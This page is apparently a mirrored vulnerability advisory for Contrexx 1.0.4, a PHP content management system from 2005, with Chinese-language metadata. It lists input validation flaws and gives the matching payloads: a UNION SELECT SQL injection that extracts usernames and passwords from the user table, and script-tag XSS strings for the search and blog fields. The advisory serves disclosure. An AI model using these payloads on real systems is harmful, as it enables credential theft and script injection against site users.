Contrexx 1.0.4 – Multiple Input Validation Vulnerabilities

Contrexx 1.0.4 – Multiple Input Validation Vulnerabilities

漏洞ID 1055274 漏洞类型
发布时间 2005-07-22 更新时间 2005-07-22
图片[1]-Contrexx 1.0.4 – Multiple Input Validation Vulnerabilities-安全小百科CVE编号 N/A
图片[2]-Contrexx 1.0.4 – Multiple Input Validation Vulnerabilities-安全小百科CNNVD-ID N/A
漏洞平台 PHP CVSS评分 N/A
|漏洞来源
https://www.exploit-db.com/exploits/26019
|漏洞详情
漏洞细节尚未披露
|漏洞EXP
source: http://www.securityfocus.com/bid/14352/info

Contrexx is affected by multiple input validation vulnerabilities. These issues can allow an attacker to carry out HTML injection, SQL injection and information disclosure attacks.

Contrexx versions prior to 1.0.5 are affected. 

supply the 'votingoption' parameter as value="1 /*!50030%20s*/" and submit the form.

/index.php?section=gallery&cmd=showCat&cid=41&pId=1%20/**/UNION/**/%20/**/SELECT/**/%201,1,CONCAT(username,'-',password),1,1,1%20/**/FROM%20contrexx_access_users

/index.php?section=search&term=%22%3E%3Cscript%3Ealert(%22xss%22)%3C/script%3E

Create a blog entry with the title <script>alert('xss')</script>

相关推荐: Symantec Clientless VPN Gateway 4400 Series Multiple Vulnerabilities

Symantec Clientless VPN Gateway 4400 Series Multiple Vulnerabilities 漏洞ID 1098105 漏洞类型 Unknown 发布时间 2004-08-06 更新时间 2004-08-06 CVE…

© 版权声明
THE END
喜欢就支持一下吧
点赞0
分享